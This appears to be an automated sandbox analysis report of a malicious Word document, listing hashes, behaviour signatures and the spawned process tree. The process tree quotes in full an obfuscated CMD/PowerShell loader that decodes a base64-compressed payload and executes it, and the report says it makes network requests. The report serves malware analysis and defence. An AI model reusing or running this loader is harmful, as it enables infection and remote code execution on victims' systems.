Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2024 08:33

General

  • Target

    33b16ed72fe97d10f60353c1b04a4741_JaffaCakes118.doc

  • Size

    70KB

  • MD5

    33b16ed72fe97d10f60353c1b04a4741

  • SHA1

    34d2283b418274f2d5417194633f9ee9f4a07d19

  • SHA256

    e751449a27a5840aecae530d79ed9de9f619011b85e065006d3ccf5f7b960695

  • SHA512

    bb1a524f20f8ceb9555b0dd07cd5fc0634b21eef44dbb5ee447d1967e7903332b49630f33c1bb2c1e6a153d522258efb3260a85f4a3ceddaef4ddb79117f825f

  • SSDEEP

    768:uj0eVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9vaHRBr/pnus:uQeocn1kp59gxBK85fBt+a9vMJ

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33b16ed72fe97d10f60353c1b04a4741_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2952
      • C:\Windows\SysWOW64\CMD.exe
        CMD C:\WinDOWS\SYStEm32\CmD.EXe /C "SEt LRg= ( new-oBjeCt IO.sTreAmreadeR(( new-oBjeCt io.CompressIoN.dEFLaTesTrEAM( [iO.MEmOrysTreAM][SYSTEM.cOnvERt]::fromBaSE64STRiNg('TZDRSsMwFIZfpReBrMylil7oQmGsQ9jUwqagiDdpdtrUZklJz9bWsne3LSrenu+c7+f85P1lGxqoZzb5BIleDMheIYl0DgY5iaqHkCrEch4EdV2z6rgXRoEumXVZcPv0iGWz+OEpOIEWbSa+mLSHYBv9EtkKY8QBnDy6dmTR8u9MVAqFyURqHdN5CkF8ebdZxot/qUJDmlhbVGgdVKNANQVlz6XOcUIX1OfkrYq80KM3V9eUk912ExIwpznCoZzSDzod+JQyaIDyPgmEVBOSr5SXG2/40u/QtR3p22ArWxttxf4+1zDuXHiD0Odrc7IFzNa9dJzwpPcU/CwFStWdz98=' ) , [sYStEm.io.COMPreSSion.coMpRESSioNMoDE]::dECOMPrESs) ), [SySTem.text.EnCoding]::AsCii) ).REaDtoEND() ^|. ( $sHElLiD[1]+$SHeLlid[13]+'X')&& POwErSHEll ( ^&(\"{1}{0}\" -f'et-ITEm','G' ) ( \"{0}{1}\" -f 'EnV:L','RG' ) ).\"Va`LUE\" ^|. ( ${PS`HOME}[4]+${p`shoME}[34] +'x' )"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          POwErSHEll ( &(\"{1}{0}\" -f'et-ITEm','G' ) ( \"{0}{1}\" -f 'EnV:L','RG' ) ).\"Va`LUE\" |. ( ${PS`HOME}[4]+${p`shoME}[34] +'x' )
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2520

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      4eb53cace2217f2bb8de10402ebba2a0

      SHA1

      99a4258ca27535fd047e56938dc965de12851477

      SHA256

      c73f02a37aab4c99e02892edf16c1b3df2326e74f0b24025e6fde684cd70a6c2

      SHA512

      bc8305a495e7dd3b6da503140ae871d919f03c77113a5d4500a2611b9d4519f44b68bfe8c6df6924b94c1a5e4abf01b4d1cf0ef3c24044c7e7e82d7bc0610491

    • memory/2316-0-0x000000002FAF1000-0x000000002FAF2000-memory.dmp
      Filesize

      4KB

    • memory/2316-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2316-2-0x0000000070C5D000-0x0000000070C68000-memory.dmp
      Filesize

      44KB

    • memory/2316-6-0x00000000004C0000-0x00000000005C0000-memory.dmp
      Filesize

      1024KB

    • memory/2316-7-0x00000000004C0000-0x00000000005C0000-memory.dmp
      Filesize

      1024KB

    • memory/2316-8-0x00000000004C0000-0x00000000005C0000-memory.dmp
      Filesize

      1024KB

    • memory/2316-19-0x0000000070C5D000-0x0000000070C68000-memory.dmp
      Filesize

      44KB

    • memory/2316-20-0x00000000004C0000-0x00000000005C0000-memory.dmp
      Filesize

      1024KB

    • memory/2316-35-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2316-36-0x0000000070C5D000-0x0000000070C68000-memory.dmp
      Filesize

      44KB